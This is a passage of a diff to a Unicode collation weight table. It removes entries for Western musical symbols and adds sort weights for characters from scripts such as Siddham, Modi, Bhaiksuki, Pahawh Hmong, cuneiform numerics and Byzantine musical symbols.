-1D10E ; [*10B4.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-2
-1D10F ; [*10B5.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-3
-1D110 ; [*10B6.0020.0002] # MUSICAL SYMBOL FERMATA
-1D111 ; [*10B7.0020.0002] # MUSICAL SYMBOL FERMATA BELOW
-1D112 ; [*10B8.0020.0002] # MUSICAL SYMBOL BREATH MARK
-1D113 ; [*10B9.0020.0002] # MUSICAL SYMBOL CAESURA
-1D114 ; [*10BA.0020.0002] # MUSICAL SYMBOL BRACE
-1D115 ; [*10BB.0020.0002] # MUSICAL SYMBOL BRACKET
-1D116 ; [*10BC.0020.0002] # MUSICAL SYMBOL ONE-LINE STAFF
-1D117 ; [*10BD.0020.0002] # MUSICAL SYMBOL TWO-LINE STAFF
-1D118 ; [*10BE.0020.0002] # MUSICAL SYMBOL THREE-LINE STAFF
-1D119 ; [*10BF.0020.0002] # MUSICAL SYMBOL FOUR-LINE STAFF
-1D11A ; [*10C0.0020.0002] # MUSICAL SYMBOL FIVE-LINE STAFF
-1D11B ; [*10C1.0020.0002] # MUSICAL SYMBOL SIX-LINE STAFF
-1D11C ; [*10C2.0020.0002] # MUSICAL SYMBOL SIX-STRING FRETBOARD
-1D11D ; [*10C3.0020.0002] # MUSICAL SYMBOL FOUR-STRING FRETBOARD
-1D11E ; [*10C4.0020.0002] # MUSICAL SYMBOL G CLEF
-1D11F ; [*10C5.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA ALTA
-1D120 ; [*10C6.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA BASSA
-1D121 ; [*10C7.0020.0002] # MUSICAL SYMBOL C CLEF
-1D122 ; [*10C8.0020.0002] # MUSICAL SYMBOL F CLEF
-1D123 ; [*10C9.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA ALTA
-1D124 ; [*10CA.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA BASSA
-1D125 ; [*10CB.0020.0002] # MUSICAL SYMBOL DRUM CLEF-1
-1D126 ; [*10CC.0020.0002] # MUSICAL SYMBOL DRUM CLEF-2
-1D129 ; [*10E0.0020.0002] # MUSICAL SYMBOL MULTIPLE MEASURE REST
-1D12A ; [*10D0.0020.0002] # MUSICAL SYMBOL DOUBLE SHARP
-1D12B ; [*10D1.0020.0002] # MUSICAL SYMBOL DOUBLE FLAT
-1D12C ; [*10D2.0020.0002] # MUSICAL SYMBOL FLAT UP
-1D12D ; [*10D3.0020.0002] # MUSICAL SYMBOL FLAT DOWN
-1D12E ; [*10D4.0020.0002] # MUSICAL SYMBOL NATURAL UP
-1D12F ; [*10D5.0020.0002] # MUSICAL SYMBOL NATURAL DOWN
-1D130 ; [*10D6.0020.0002] # MUSICAL SYMBOL SHARP UP
-1D131 ; [*10D7.0020.0002] # MUSICAL SYMBOL SHARP DOWN
-1D132 ; [*10D8.0020.0002] # MUSICAL SYMBOL QUARTER TONE SHARP
-1D133 ; [*10D9.0020.0002] # MUSICAL SYMBOL QUARTER TONE FLAT
-1D134 ; [*10DA.0020.0002] # MUSICAL SYMBOL COMMON TIME
-1D135 ; [*10DB.0020.0002] # MUSICAL SYMBOL CUT TIME
-1D136 ; [*10DC.0020.0002] # MUSICAL SYMBOL OTTAVA ALTA
-1D137 ; [*10DD.0020.0002] # MUSICAL SYMBOL OTTAVA BASSA
-1D138 ; [*10DE.0020.0002] # MUSICAL SYMBOL QUINDICESIMA ALTA
-1D139 ; [*10DF.0020.0002] # MUSICAL SYMBOL QUINDICESIMA BASSA
-1D13A ; [*10E1.0020.0002] # MUSICAL SYMBOL MULTI REST
-1D13B ; [*10E2.0020.0002] # MUSICAL SYMBOL WHOLE REST
-1D13C ; [*10E3.0020.0002] # MUSICAL SYMBOL HALF REST
-1D13D ; [*10E4.0020.0002] # MUSICAL SYMBOL QUARTER REST
-1D13E ; [*10E5.0020.0002] # MUSICAL SYMBOL EIGHTH REST
-1D13F ; [*10E6.0020.0002] # MUSICAL SYMBOL SIXTEENTH REST
-1D140 ; [*10E7.0020.0002] # MUSICAL SYMBOL THIRTY-SECOND REST
-1D141 ; [*10E8.0020.0002] # MUSICAL SYMBOL SIXTY-FOURTH REST
-1D142 ; [*10E9.0020.0002] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH REST
-1D143 ; [*10EA.0020.0002] # MUSICAL SYMBOL X NOTEHEAD
-1D144 ; [*10EB.0020.0002] # MUSICAL SYMBOL PLUS NOTEHEAD
-1D145 ; [*10EC.0020.0002] # MUSICAL SYMBOL CIRCLE X NOTEHEAD
-1D146 ; [*10ED.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD WHITE
-1D147 ; [*10EE.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD BLACK
-1D148 ; [*10EF.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP WHITE
-1D149 ; [*10F0.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP BLACK
-1D14A ; [*10F1.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT WHITE
-1D14B ; [*10F2.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT BLACK
-1D14C ; [*10F3.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT WHITE
-1D14D ; [*10F4.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT BLACK
-1D14E ; [*10F5.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN WHITE
-1D14F ; [*10F6.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN BLACK
-1D150 ; [*10F7.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT WHITE
-1D151 ; [*10F8.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT BLACK
-1D152 ; [*10F9.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD WHITE
-1D153 ; [*10FA.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD BLACK
-1D154 ; [*10FB.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN WHITE
-1D155 ; [*10FC.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN BLACK
-1D156 ; [*10FD.0020.0002] # MUSICAL SYMBOL PARENTHESIS NOTEHEAD
-1D157 ; [*10FE.0020.0002] # MUSICAL SYMBOL VOID NOTEHEAD
-1D158 ; [*10FF.0020.0002] # MUSICAL SYMBOL NOTEHEAD BLACK
-1D159 ; [*1100.0020.0002] # MUSICAL SYMBOL NULL NOTEHEAD
-1D15A ; [*1101.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD WHITE
-1D15B ; [*1102.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD BLACK
-1D15C ; [*1103.0020.0002] # MUSICAL SYMBOL BREVE
-1D15D ; [*1104.0020.0002] # MUSICAL SYMBOL WHOLE NOTE
-1D15E ; [*10FE.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL HALF NOTE
-1D15F ; [*10FF.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL QUARTER NOTE
-1D160 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL EIGHTH NOTE
-1D161 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTEENTH NOTE
-1D162 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL THIRTY-SECOND NOTE
-1D163 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTY-FOURTH NOTE
-1D164 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE
+1144B ; [*02B6.0020.0002] # NEWA DANDA
+1144C ; [*02B7.0020.0002] # NEWA DOUBLE DANDA
+1144D ; [*045B.0020.0002] # NEWA COMMA
+1144E ; [*045C.0020.0002] # NEWA GAP FILLER
+1144F ; [*045D.0020.0002] # NEWA ABBREVIATION SIGN
+1145B ; [*045E.0020.0002] # NEWA PLACEHOLDER MARK
+1145D ; [*045F.0020.0002] # NEWA INSERTION SIGN
+114C6 ; [*0460.0020.0002] # TIRHUTA ABBREVIATION SIGN
+115C1 ; [*0461.0020.0002] # SIDDHAM SIGN SIDDHAM
+115C2 ; [*02B8.0020.0002] # SIDDHAM DANDA
+115C3 ; [*02B9.0020.0002] # SIDDHAM DOUBLE DANDA
+115C4 ; [*0462.0020.0002] # SIDDHAM SEPARATOR DOT
+115C5 ; [*0463.0020.0002] # SIDDHAM SEPARATOR BAR
+115C6 ; [*0464.0020.0002] # SIDDHAM REPETITION MARK-1
+115C7 ; [*0465.0020.0002] # SIDDHAM REPETITION MARK-2
+115C8 ; [*0466.0020.0002] # SIDDHAM REPETITION MARK-3
+115C9 ; [*0467.0020.0002] # SIDDHAM END OF TEXT MARK
+115CA ; [*0468.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND U-SHAPED ORNAMENTS
+115CB ; [*0469.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND DOTTED CRESCENTS
+115CC ; [*046A.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED CRESCENTS
+115CD ; [*046B.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED DOUBLE CRESCENTS
+115CE ; [*046C.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED TRIPLE CRESCENTS
+115CF ; [*046D.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING
+115D0 ; [*046E.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING WITH RAYS
+115D1 ; [*046F.0020.0002] # SIDDHAM SECTION MARK WITH DOUBLE CRESCENTS
+115D2 ; [*0470.0020.0002] # SIDDHAM SECTION MARK WITH TRIPLE CRESCENTS
+115D3 ; [*0471.0020.0002] # SIDDHAM SECTION MARK WITH QUADRUPLE CRESCENTS
+115D4 ; [*0472.0020.0002] # SIDDHAM SECTION MARK WITH SEPTUPLE CRESCENTS
+115D5 ; [*0473.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND RAYS
+115D6 ; [*0474.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND TWO ENCLOSURES
+115D7 ; [*0475.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
+11641 ; [*02BA.0020.0002] # MODI DANDA
+11642 ; [*02BB.0020.0002] # MODI DOUBLE DANDA
+11643 ; [*0476.0020.0002] # MODI ABBREVIATION SIGN
+11660 ; [*03DA.0020.0002] # MONGOLIAN BIRGA WITH ORNAMENT
+11661 ; [*03DB.0020.0002] # MONGOLIAN ROTATED BIRGA
+11662 ; [*03DC.0020.0002] # MONGOLIAN DOUBLE BIRGA WITH ORNAMENT
+11663 ; [*03DD.0020.0002] # MONGOLIAN TRIPLE BIRGA WITH ORNAMENT
+11664 ; [*03DE.0020.0002] # MONGOLIAN BIRGA WITH DOUBLE ORNAMENT
+11665 ; [*03DF.0020.0002] # MONGOLIAN ROTATED BIRGA WITH ORNAMENT
+11666 ; [*03E0.0020.0002] # MONGOLIAN ROTATED BIRGA WITH DOUBLE ORNAMENT
+11667 ; [*03E1.0020.0002] # MONGOLIAN INVERTED BIRGA
+11668 ; [*03E2.0020.0002] # MONGOLIAN INVERTED BIRGA WITH DOUBLE ORNAMENT
+11669 ; [*03E3.0020.0002] # MONGOLIAN SWIRL BIRGA
+1166A ; [*03E4.0020.0002] # MONGOLIAN SWIRL BIRGA WITH ORNAMENT
+1166B ; [*03E5.0020.0002] # MONGOLIAN SWIRL BIRGA WITH DOUBLE ORNAMENT
+1166C ; [*03E6.0020.0002] # MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT
+1173A ; [*1B71.0020.0002] # AHOM NUMBER TEN
+1173B ; [*1B72.0020.0002] # AHOM NUMBER TWENTY
+1173C ; [*02BC.0020.0002] # AHOM SIGN SMALL SECTION
+1173D ; [*02BD.0020.0002] # AHOM SIGN SECTION
+1173E ; [*02E7.0020.0002] # AHOM SIGN RULAI
+1173F ; [*0550.0020.0002] # AHOM SYMBOL VI
+118EA ; [*1B97.0020.0002] # WARANG CITI NUMBER TEN
+118EB ; [*1B98.0020.0002] # WARANG CITI NUMBER TWENTY
+118EC ; [*1B99.0020.0002] # WARANG CITI NUMBER THIRTY
+118ED ; [*1B9A.0020.0002] # WARANG CITI NUMBER FORTY
+118EE ; [*1B9B.0020.0002] # WARANG CITI NUMBER FIFTY
+118EF ; [*1B9C.0020.0002] # WARANG CITI NUMBER SIXTY
+118F0 ; [*1B9D.0020.0002] # WARANG CITI NUMBER SEVENTY
+118F1 ; [*1B9E.0020.0002] # WARANG CITI NUMBER EIGHTY
+118F2 ; [*1B9F.0020.0002] # WARANG CITI NUMBER NINETY
+11C41 ; [*02BE.0020.0002] # BHAIKSUKI DANDA
+11C42 ; [*02BF.0020.0002] # BHAIKSUKI DOUBLE DANDA
+11C43 ; [*043F.0020.0002] # BHAIKSUKI WORD SEPARATOR
+11C44 ; [*0440.0020.0002] # BHAIKSUKI GAP FILLER-1
+11C45 ; [*0441.0020.0002] # BHAIKSUKI GAP FILLER-2
+11C63 ; [*1B82.0020.0002] # BHAIKSUKI NUMBER TEN
+11C64 ; [*1B83.0020.0002] # BHAIKSUKI NUMBER TWENTY
+11C65 ; [*1B84.0020.0002] # BHAIKSUKI NUMBER THIRTY
+11C66 ; [*1B85.0020.0002] # BHAIKSUKI NUMBER FORTY
+11C67 ; [*1B86.0020.0002] # BHAIKSUKI NUMBER FIFTY
+11C68 ; [*1B87.0020.0002] # BHAIKSUKI NUMBER SIXTY
+11C69 ; [*1B88.0020.0002] # BHAIKSUKI NUMBER SEVENTY
+11C6A ; [*1B89.0020.0002] # BHAIKSUKI NUMBER EIGHTY
+11C6B ; [*1B8A.0020.0002] # BHAIKSUKI NUMBER NINETY
+11C6C ; [*1B8B.0020.0002] # BHAIKSUKI HUNDREDS UNIT MARK
+11C70 ; [*0409.0020.0002] # MARCHEN HEAD MARK
+11C71 ; [*040A.0020.0002] # MARCHEN MARK SHAD
+12432 ; [*1BDE.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS DISH
+12433 ; [*1BDF.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS MIN
+1245A ; [*1BE0.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD DISH
+1245B ; [*1BE1.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS DISH
+1245C ; [*1BE2.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SIXTHS DISH
+1245D ; [*1BE3.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD VARIANT FORM A
+1245E ; [*1BE4.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS VARIANT FORM A
+1245F ; [*1BE5.0020.0002] # CUNEIFORM NUMERIC SIGN ONE EIGHTH ASH
+12460 ; [*1BE6.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER ASH
+12461 ; [*1BE7.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE SIXTH
+12462 ; [*1BE8.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE QUARTER
+12463 ; [*1BE9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER GUR
+12464 ; [*1BEA.0020.0002] # CUNEIFORM NUMERIC SIGN ONE HALF GUR
+12465 ; [*1BEB.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE ONE THIRD
+12466 ; [*1BEC.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE TWO THIRDS
+12467 ; [*1BED.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FORTY
+12468 ; [*1BEE.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FIFTY
+12470 ; [*0300.0020.0002] # CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER
+12471 ; [*0301.0020.0002] # CUNEIFORM PUNCTUATION SIGN VERTICAL COLON
+12472 ; [*0302.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL COLON
+12473 ; [*0303.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL TRICOLON
+12474 ; [*0304.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
+16A6E ; [*02C0.0020.0002] # MRO DANDA
+16A6F ; [*02C1.0020.0002] # MRO DOUBLE DANDA
+16AF5 ; [*0288.0020.0002] # BASSA VAH FULL STOP
+16B37 ; [*0477.0020.0002] # PAHAWH HMONG SIGN VOS THOM
+16B38 ; [*0478.0020.0002] # PAHAWH HMONG SIGN VOS TSHAB CEEB
+16B39 ; [*0479.0020.0002] # PAHAWH HMONG SIGN CIM CHEEM
+16B3A ; [*047A.0020.0002] # PAHAWH HMONG SIGN VOS THIAB
+16B3B ; [*047B.0020.0002] # PAHAWH HMONG SIGN VOS FEEM
+16B3C ; [*0FD1.0020.0002] # PAHAWH HMONG SIGN XYEEM NTXIV
+16B3D ; [*0FD2.0020.0002] # PAHAWH HMONG SIGN XYEEM RHO
+16B3E ; [*0FD3.0020.0002] # PAHAWH HMONG SIGN XYEEM TOV
+16B3F ; [*0FD4.0020.0002] # PAHAWH HMONG SIGN XYEEM FAIB
+16B44 ; [*047C.0020.0002] # PAHAWH HMONG SIGN XAUS
+16B45 ; [*0FD5.0020.0002] # PAHAWH HMONG SIGN CIM TSOV ROG
+16B5B ; [*1BA0.0020.0002] # PAHAWH HMONG NUMBER TENS
+16B5C ; [*1BA1.0020.0002] # PAHAWH HMONG NUMBER HUNDREDS
+16B5D ; [*1BA2.0020.0002] # PAHAWH HMONG NUMBER TEN THOUSANDS
+16B5E ; [*1BA3.0020.0002] # PAHAWH HMONG NUMBER MILLIONS
+16B5F ; [*1BA4.0020.0002] # PAHAWH HMONG NUMBER HUNDRED MILLIONS
+16B60 ; [*1BA5.0020.0002] # PAHAWH HMONG NUMBER TEN BILLIONS
+16B61 ; [*1BA6.0020.0002] # PAHAWH HMONG NUMBER TRILLIONS
+1BC9C ; [*11C6.0020.0002] # DUPLOYAN SIGN O WITH CROSS
+1BC9F ; [*0289.0020.0002] # DUPLOYAN PUNCTUATION CHINOOK FULL STOP
+1D000 ; [*0FD6.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILI
+1D001 ; [*0FD7.0020.0002] # BYZANTINE MUSICAL SYMBOL DASEIA
+1D002 ; [*0FD8.0020.0002] # BYZANTINE MUSICAL SYMBOL PERISPOMENI
+1D003 ; [*0FD9.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA EKFONITIKON
+1D004 ; [*0FDA.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA DIPLI
+1D005 ; [*0FDB.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA EKFONITIKON
+1D006 ; [*0FDC.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA DIPLI
+1D007 ; [*0FDD.0020.0002] # BYZANTINE MUSICAL SYMBOL KATHISTI
+1D008 ; [*0FDE.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMATIKI
+1D009 ; [*0FDF.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI
+1D00A ; [*0FE0.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS
+1D00B ; [*0FE1.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS DIPLI
+1D00C ; [*0FE2.0020.0002] # BYZANTINE MUSICAL SYMBOL KREMASTI
+1D00D ; [*0FE3.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EKFONITIKON
+1D00E ; [*0FE4.0020.0002] # BYZANTINE MUSICAL SYMBOL EXO EKFONITIKON
+1D00F ; [*0FE5.0020.0002] # BYZANTINE MUSICAL SYMBOL TELEIA
+1D010 ; [*0FE6.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA
+1D011 ; [*0FE7.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS
+1D012 ; [*0FE8.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS DIPLI
+1D013 ; [*0FE9.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNEVMA
+1D014 ; [*0FEA.0020.0002] # BYZANTINE MUSICAL SYMBOL THITA
+1D015 ; [*0FEB.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON ARCHAION
+1D016 ; [*0FEC.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON ARCHAION
+1D017 ; [*0FED.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILON
+1D018 ; [*0FEE.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILON
+1D019 ; [*0FEF.0020.0002] # BYZANTINE MUSICAL SYMBOL VATHY
+1D01A ; [*0FF0.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON ARCHAION
+1D01B ; [*0FF1.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA ARCHAION
+1D01C ; [*0FF2.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA ARCHAION
+1D01D ; [*0FF3.0020.0002] # BYZANTINE MUSICAL SYMBOL SAXIMATA
+1D01E ; [*0FF4.0020.0002] # BYZANTINE MUSICAL SYMBOL PARICHON
+1D01F ; [*0FF5.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS APODEXIA
+1D020 ; [*0FF6.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIAI ARCHAION
+1D021 ; [*0FF7.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIAI ARCHAION
+1D022 ; [*0FF8.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA ARCHAION
+1D023 ; [*0FF9.0020.0002] # BYZANTINE MUSICAL SYMBOL APOTHEMA
+1D024 ; [*0FFA.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA
+1D025 ; [*0FFB.0020.0002] # BYZANTINE MUSICAL SYMBOL REVMA
+1D026 ; [*0FFC.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA ARCHAION
+1D027 ; [*0FFD.0020.0002] # BYZANTINE MUSICAL SYMBOL TINAGMA
+1D028 ; [*0FFE.0020.0002] # BYZANTINE MUSICAL SYMBOL ANATRICHISMA
+1D029 ; [*0FFF.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA
+1D02A ; [*1000.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA ARCHAION
+1D02B ; [*1001.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA META STAVROU
+1D02C ; [*1002.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA ARCHAION
+1D02D ; [*1003.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA
+1D02E ; [*1004.0020.0002] # BYZANTINE MUSICAL SYMBOL LEMOI
+1D02F ; [*1005.0020.0002] # BYZANTINE MUSICAL SYMBOL DYO
+1D030 ; [*1006.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIA
+1D031 ; [*1007.0020.0002] # BYZANTINE MUSICAL SYMBOL TESSERA
+1D032 ; [*1008.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMATA
+1D033 ; [*1009.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EXO NEO
+1D034 ; [*100A.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION
+1D035 ; [*100B.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORA
+1D036 ; [*100C.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ARCHAION
+1D037 ; [*100D.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVA TROMIKON
+1D038 ; [*100E.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON
+1D039 ; [*100F.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON
+1D03A ; [*1010.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA
+1D03B ; [*1011.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA ARCHAION
+1D03C ; [*1012.0020.0002] # BYZANTINE MUSICAL SYMBOL RAPISMA
+1D03D ; [*1013.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA ARCHAION
+1D03E ; [*1014.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI ARCHAION
+1D03F ; [*1015.0020.0002] # BYZANTINE MUSICAL SYMBOL ICHADIN
+1D040 ; [*1016.0020.0002] # BYZANTINE MUSICAL SYMBOL NANA
+1D041 ; [*1017.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASMA
+1D042 ; [*1018.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA ALLO
+1D043 ; [*1019.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ALLO
+1D044 ; [*101A.0020.0002] # BYZANTINE MUSICAL SYMBOL STRAGGISMATA
+1D045 ; [*101B.0020.0002] # BYZANTINE MUSICAL SYMBOL GRONTHISMATA
+1D046 ; [*101C.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON NEO
+1D047 ; [*101D.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON NEO
+1D048 ; [*101E.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA NEO
+1D049 ; [*101F.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTI
+1D04A ; [*1020.0020.0002] # BYZANTINE MUSICAL SYMBOL KOUFISMA
+1D04B ; [*1021.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTOKOUFISMA
+1D04C ; [*1022.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOKOUFISMA
+1D04D ; [*1023.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON NEO
+1D04E ; [*1024.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO ANO
+1D04F ; [*1025.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO ANO
+1D050 ; [*1026.0020.0002] # BYZANTINE MUSICAL SYMBOL YPSILI
+1D051 ; [*1027.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS NEO
+1D052 ; [*1028.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI SYNDESMOS NEO
+1D053 ; [*1029.0020.0002] # BYZANTINE MUSICAL SYMBOL YPORROI
+1D054 ; [*102A.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOYPORROON
+1D055 ; [*102B.0020.0002] # BYZANTINE MUSICAL SYMBOL ELAFRON
+1D056 ; [*102C.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILI
+1D057 ; [*102D.0020.0002] # BYZANTINE MUSICAL SYMBOL MIKRON ISON
+1D058 ; [*102E.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA NEO
+1D059 ; [*102F.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA NEO
+1D05A ; [*1030.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON NEO
+1D05B ; [*1031.0020.0002] # BYZANTINE MUSICAL SYMBOL OMALON
+1D05C ; [*1032.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOMA
+1D05D ; [*1033.0020.0002] # BYZANTINE MUSICAL SYMBOL LYGISMA
+1D05E ; [*1034.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI NEO
+1D05F ; [*1035.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA NEO
+1D060 ; [*1036.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON PARAKALESMA
+1D061 ; [*1037.0020.0002] # BYZANTINE MUSICAL SYMBOL KYLISMA
+1D062 ; [*1038.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOKYLISMA
+1D063 ; [*1039.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON NEO
+1D064 ; [*103A.0020.0002] # BYZANTINE MUSICAL SYMBOL EKSTREPTON
+1D065 ; [*103B.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA NEO
+1D066 ; [*103C.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMA
+1D067 ; [*103D.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA NEO
+1D068 ; [*103E.0020.0002] # BYZANTINE MUSICAL SYMBOL EPEGERMA
+1D069 ; [*103F.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA NEO
+1D06A ; [*1040.0020.0002] # BYZANTINE MUSICAL SYMBOL XIRON KLASMA
+1D06B ; [*1041.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPSIFISTON
+1D06C ; [*1042.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOLYGISMA
+1D06D ; [*1043.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOLYGISMA
+1D06E ; [*1044.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPARAKALESMA
+1D06F ; [*1045.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOPARAKALESMA
+1D070 ; [*1046.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOSYNAGMA
+1D071 ; [*1047.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOSYNAGMA
+1D072 ; [*1048.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGOSYNTHETON
